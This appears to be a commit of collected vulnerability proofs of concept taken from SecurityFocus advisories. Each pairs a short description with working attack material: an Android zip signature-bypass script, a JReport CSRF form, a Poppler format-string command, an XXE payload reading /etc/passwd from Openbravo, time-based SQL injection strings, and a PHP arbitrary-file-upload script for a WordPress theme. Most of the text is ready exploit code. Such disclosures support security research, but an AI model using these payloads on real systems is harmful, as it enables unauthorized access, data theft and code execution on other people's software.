Commit f25ba13

source: http://www.securityfocus.com/bid/63547/info

Google Android is prone to a security-bypass vulnerability.

Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks.

Android 4.4 is vulnerable; other versions may also be affected.

import zipfile

import struct

import sys

zout = zipfile.ZipFile(sys.argv[1], "w")

zin = zipfile.ZipFile(sys.argv[2], "r")

replace = sys.argv[3]

new = open(sys.argv[4], 'r').read()

fp = zout.fp

for name in zin.namelist():

old = zin.read(name)

if name != replace:

zout.writestr(name, old, zipfile.ZIP_DEFLATED)

else:

assert len(new) <= len(old)

# write header, old data, and record offset

zout.writestr(name, old, zipfile.ZIP_STORED)

offset = fp.tell()

# return to name length, set to skip old data

fp.seek(-len(old) -len(name) -4, 1)

fp.write(struct.pack('<h', len(name) + len(old)))

# after old data, write new data \0 padded

fp.seek(offset)

fp.write(new)

fp.write('\0' * (len(old) - len(new)))

zout.close()

zin.close()

source: http://www.securityfocus.com/bid/63363/info

JReport is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

<form name="foo" action="https://www.example.com/jreport/jinfonet/dealSchedules.jsp"method="post">

<input type=hidden name="d1" value="2013-08-03%252014%253a20%253a41.29">

<input type=hidden name="cmd" value="cmd_delete_schedules">

<input type=hidden name="taskClass" value="APIDemoDynamicExportTask">

<input type=hidden name="taskUrl" value="schedulePage.jsp%3Fjrs.cmd%3Djrs.get_edit_schd_page%26jrs.task_id%3D2013-08-03%252014%253a20%253a41.29%26jrs.catalog%3D%252fSecurity%252fSecurity.cat%26jrs.report%3D%252fSecurity%252fBank_User%2520Activation.cls%26jrs.path%3D%2FUSERFOLDERPATH%2Fadmin">

<input type=hidden name="jrs.path" value="%2FUSERFOLDERPATH%2Fadmin">

source: http://www.securityfocus.com/bid/63374/info

Poppler is prone to a local format-string vulnerability because it fails to sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely result in a denial-of-service condition.

Versions prior to Poppler 0.24.3 are vulnerable.

./pdfseparate -f 1 -l 1 aPdfFile.pdf "%x%x%x%x%x%x%n"

source: http://www.securityfocus.com/bid/63431/info

Openbravo ERP is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

Openbravo ERP 2.5 and 3.0 are vulnerable.

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

<!ELEMENT comments ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>

<ob:Openbravo xmlns:ob="http://www.example.com"

xmlns:xsi="http://www.example1.com/2001/XMLSchema-instance">

<Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piñ,5L">

<id>C970393BDF6C43E2B030D23482D88EED</id>

<comments>&xxe;</comments>

</Product>

</ob:Openbravo>

source: http://www.securityfocus.com/bid/63435/info

Course Registration Management System is prone to multiple cross-site scripting and multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of the browser, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks are also possible.

Course Registration Management System 2.2.1 is vulnerable; other versions may also be affected.

http://example.com/add_user.php (POST - params: work_tel, lastname, email, gmc_reg, job_title, firstname)

http://example.com/login.php (POST - params: username)

http://example.com/auth.php (POST - params: username)

http://example.com/forgotten_password.php

(POST - username)

username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

http://example.com/add_user.php

(POST - email)

email='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

http://example.com/login.php

(POST - username)

username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+

source: http://www.securityfocus.com/bid/63523/info

The This Way Theme for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access to the application; other attacks are also possible.

$uploadfile="upl.php";

$ch = curl_init("http://[localcrot]/wp-content/themes/ThisWay/includes/uploadify/upload_settings_image.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";